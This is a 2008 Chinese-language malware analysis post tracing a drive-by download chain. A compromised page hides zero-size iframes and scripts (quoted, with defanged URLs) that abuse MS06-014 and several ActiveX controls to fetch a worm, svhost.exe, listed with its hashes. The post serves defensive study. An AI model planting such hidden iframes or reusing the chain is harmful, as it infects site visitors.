自動進入” 天眼通官網 “？其實是自動種馬網(Worm.Win32.Downloader.kb)

自動進入" 天眼通官網 "？其實是自動種馬網(Worm.Win32.Downloader.kb)

endurer 原創
2008-05-09 第1版

在網頁hxxp://www.z*j***5*0.***.cn/c*f**.asp?user_name=pp365pp上發現代碼：

/---
＜iframe width=0 height=0 src="hxxp://www.v*h***68.***.cn/lj/lfad.html?ad05"＞＜/iframe＞
---/

#1 hxxp://www.v*h***68.***.cn/lj/lfad.html?ad05 包含代碼：
/---
＜iframe src="news.html" width=100 height=0＞＜/iframe＞
---/

#1.1 hxxp://www.v*h***68.***.cn/lj/news.html

輸出代碼：
/---
＜script src=hxxp://www.v*h***68.***.cn/lj/ms06014.js＞＜/script＞
＜iframe width=100 height=0 src=hxxp://www.v*h***68.***.cn/lj/Thunder.html＞＜/iframe＞
＜iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/GLWORLD.html"＞＜/iframe＞
＜iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/StormII.html"＞＜/iframe＞
＜sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://www.v*h***68.***.cn/lj/real.js＞＜/script＞
＜iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/Real.html"＞＜/iframe＞
---/

#1.1.1 hxxp://www.v*h***68.***.cn/lj/ms06014.js

利用MS06-014漏洞下載 hxxp://www.v*h***68.***.cn/lj/svhost.exe

檔案說明符 : D:/test/svhost.exe
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2008-5-9 21:30:14
修改時間 : 2008-5-9 21:30:14
大小 : 24596 位元組 24.20 KB
MD5 : cf2f307f4913ccc9204a2c0c9a8896c8
SHA1: 1917436C7FCA0E5879924B0782CE7F4843B6359C
CRC32: 89e52725

卡巴斯基報為：Worm.Win32.Downloader.kb，瑞星20.43.42沒反應。

#1.1.2 hxxp://www.v*h***68.***.cn/lj/Thunder.html

利用迅雷（DPClient.Vod，clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F）漏洞下載hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.3 hxxp://www.v*h***68.***.cn/lj/GLWORLD.html

利用聯眾（GLIEDown.IEDown.1，clsid:61F5C358-60FB-4A23-A312-D2B556620F20）漏洞下載hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.4 hxxp://www.v*h***68.***.cn/lj/StormII.html

利用暴風影音（MPS.StormPlayer.1，clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB）漏洞下載hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.5 hxxp://www.v*h***68.***.cn/lj/real.js

利用RealPlayer（IERPCtl.IERPCtl.1）漏洞下載hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.6 hxxp://www.v*h***68.***.cn/lj/Real.html

利用RealPlayer（clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA）漏洞下載hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.7 利用 BaiduBar.Tool 下載 hxxp://www.v*h***68.***.cn/lj/svhost.cab，內含 svhost.exe